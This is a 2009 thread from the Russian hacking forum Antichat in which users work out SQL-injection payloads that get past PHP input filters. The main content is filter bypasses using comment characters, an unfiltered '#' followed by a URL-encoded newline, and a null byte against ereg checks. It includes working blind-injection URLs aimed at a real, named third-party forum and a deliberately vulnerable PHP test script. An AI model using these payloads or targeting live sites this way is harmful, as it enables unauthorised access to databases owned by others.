ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7581  
Старый 13.06.2009, 18:27
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от Grey  
А эта регулярка уже кривая:

(/*)*/select) - такое она пропустит
Если бы не
PHP код:
        //Comments?  We don't use comments in our queries, we leave 'em outside!
        
elseif (strpos($clean'/*') > || strpos($clean'--') !== false || strpos($clean';') !== false)
            
$fail true
 
Ответить с цитированием

  #7582  
Старый 13.06.2009, 18:33
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от mailbrush  
Если бы не
PHP код:
        //Comments?  We don't use comments in our queries, we leave 'em outside!
        
elseif (strpos($clean'/*') > || strpos($clean'--') !== false || strpos($clean';') !== false)
            
$fail true
Не, а ты сразу не можешь все скопировать?
Я не телепат.

/**/and (/*)*/select substring(version(),1))=4

Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки.

P.S. даже такое прокатит:

'/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1.

И такое тоже:

')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит).

Этого кстати должно хватить, получиться что то такое (к примеру):

1/**/and (/*)*/select substring(version(),1))=4

P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.

Последний раз редактировалось Grey; 13.06.2009 в 18:41..
 
Ответить с цитированием

  #7583  
Старый 13.06.2009, 19:43
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
 
Ответить с цитированием

  #7584  
Старый 13.06.2009, 19:45
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от mailbrush  
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
1. А откуда берётся значение переменной $clean?
2. Ты смотришь сорцы той же версии, что и форум по линку?

P.S. а вообще тестить лучше на локалке.

Последний раз редактировалось Grey; 13.06.2009 в 19:54..
 
Ответить с цитированием

  #7585  
Старый 13.06.2009, 20:16
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Разобрался

Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход:

Пример:

условие выполняется верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=5

условие выполняется не верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=4

Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем.
Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так:

id=1+and+(%23)%0Aselect+5)=4

Получается так:

id=1 and (#)
select 5)=4

т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр.

P.S. %23 - урл код это символа #, %0A - урл код новой строки.

P.P.S. пошел запрягать РоА на написание сплоента)

Последний раз редактировалось Grey; 13.06.2009 в 21:09..
 
Ответить с цитированием

  #7586  
Старый 13.06.2009, 20:49
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

PHP код:
 if(ereg("^[0-9]+$",$ar["lid"] = $_GET['lid']))
  {
    
$query mysql_query("SELECT * FROM main WHERE lid = '$lid'"); 
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
 
Ответить с цитированием

  #7587  
Старый 13.06.2009, 21:16
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Grey, спасибо за объяснения, не ожидал такой помощи. Я тестил у себя на локале, но т.к. это локал, ссыль выложил на другой форум.

PS: Сорсы этого "фильтра" - http://forum.rockmanpm.com/Sources/Subs.php~

Последний раз редактировалось mailbrush; 13.06.2009 в 21:18..
 
Ответить с цитированием

  #7588  
Старый 13.06.2009, 21:41
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Цитата:
Сообщение от Велемир  
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
Как именно не работает ? Как ты проверяешь ? меджик_квотес отключены ?

lid=2%00'+union+select+1--+ - должно работать

Последний раз редактировалось ElteRUS; 13.06.2009 в 21:51..
 
Ответить с цитированием

  #7589  
Старый 13.06.2009, 21:48
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Велемир, пример того как ты обходил покажи
 
Ответить с цитированием

  #7590  
Старый 13.06.2009, 21:54
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию

Ээ...пасип,но уже не имеет смысла.Там кавычки включены оказывается.

Решил чутка поменять на локалхосте:

PHP код:

$c 
mysql_connect("localhost","root","vertrigo");

$user $_GET['user'];


if(
ereg("^[0-9]+$",$user)) {

echo 
"Ты хакер,обошедший фильтрацию!";

$q mysql_query("Select * from mysql.user where User='$user'");

$r mysql_fetch_array($q);

print_r($r);

}


else {

echo 
"Хакер!";



Результат только на кавычку катит,а запрос не провести.Пробовал ставить 1%00order+by+1 и т.д.

Вообще,нашёл эту хрень на сайте,висящем на двиге,похожий на вордпресс. Есть переменные: lid,o,c,start,actions.Может,кто скажет точнее ?

Последний раз редактировалось Велемир; 13.06.2009 в 22:07..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ